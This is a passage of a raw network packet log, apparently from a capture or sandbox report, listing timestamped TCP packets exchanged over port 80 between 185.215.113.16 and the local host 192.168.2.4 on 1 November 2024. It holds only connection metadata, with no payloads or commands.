Nov 1, 2024 10:56:13.716468096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716480017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716490030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716501951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716514111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716519117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716530085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716533899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716540098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716552019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716563940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716566086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716576099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716587067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716598034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716602087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716609955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.716626883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716665983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.716985941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717036963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717075109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.717191935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717202902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717221022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717231035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717241049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717252016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717253923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.717264891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.717269897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717279911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.717300892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.717308998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.738643885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.749815941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.752978086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753002882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753015995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753041983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.753073931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753086090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753097057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753108025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.753109932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.753125906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.753139019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.757386923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824091911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824104071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824120998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824132919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824142933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824155092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824170113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824193001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824397087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824408054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824440956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824480057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824496984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824506998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824512959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824517012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824522972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824527025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824536085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824546099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824557066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824563026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824565887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824575901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824579000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824590921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824601889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824603081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824615955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824632883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824640989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824642897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824657917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824667931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824670076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824695110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824763060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824771881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824800968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.824947119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824956894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.824971914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825023890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825051069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825061083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825071096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825083017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825093031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825108051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825440884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825452089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825462103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825472116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825483084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825489998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825493097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825501919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825505972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825516939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825520039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825527906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825541973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825558901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825565100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825568914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825577974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825588942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825594902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825599909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825611115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825622082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825622082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825634956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825647116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825659037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825660944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825669050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825670004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825692892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825716972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825727940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825737953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825748920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825759888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825761080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825772047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825777054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825788021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825793982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825799942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825824022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825859070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825870037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825896025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825933933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825943947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825953960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825965881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.825974941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.825984955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826065063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826073885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826105118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826452017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826462030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826472044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826491117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826502085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826581001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826597929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826607943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826622009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826633930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826638937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826642036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826653004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826653957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826659918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826664925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826673985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826683998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826694965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826706886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826708078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826716900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826720953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826726913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826740026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826745033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826755047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826760054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826765060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826776981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826781988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826787949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826800108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826802015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826811075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826824903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826838970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826844931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826937914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826952934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826963902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.826988935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.826998949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827028990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827040911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827050924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827064037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827079058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827099085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827425957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827438116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827449083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827466965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827471018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827477932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827493906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827506065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827516079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827518940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827528000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827538013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827538967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827545881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827549934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827560902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827572107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827575922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827584982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827594995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827601910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827611923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827615023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827624083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827641010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827707052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827718973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827728987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827740908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827743053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827761889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827797890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827809095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827817917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827836990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827847958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.827904940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827966928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.827979088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828010082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828142881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828154087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828167915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828180075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828191996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828201056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828296900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828391075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828402996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828413010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828424931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828434944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828434944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828447104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828457117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828458071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828469038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828480005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828480005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828501940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828516960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828530073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828541040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828547955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828582048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828668118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828679085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828687906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828700066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828712940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828739882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828773022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828783989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828794003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828804970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828815937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828821898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828834057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828845978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828845978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828869104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.828973055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828984976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.828994989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829011917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829025984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829046011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829102039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829113007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829123974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829135895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829148054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829157114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829227924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829242945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829252958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829265118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829276085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829278946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829287052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829297066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829298019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829309940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829344988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829370975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829381943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829391956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829402924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829420090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829432011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829597950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829613924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829624891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829648018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829658985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829669952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829680920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829695940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829725027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829741955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829752922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829763889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829776049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829785109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829787970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829813957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829843998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829855919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829868078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.829890013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829900026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.829997063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830008030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830018044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830029011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830039978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830050945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830055952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:13.830061913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:13.830074072 CET	80	49738	185.215.113.16	192.168.2.4
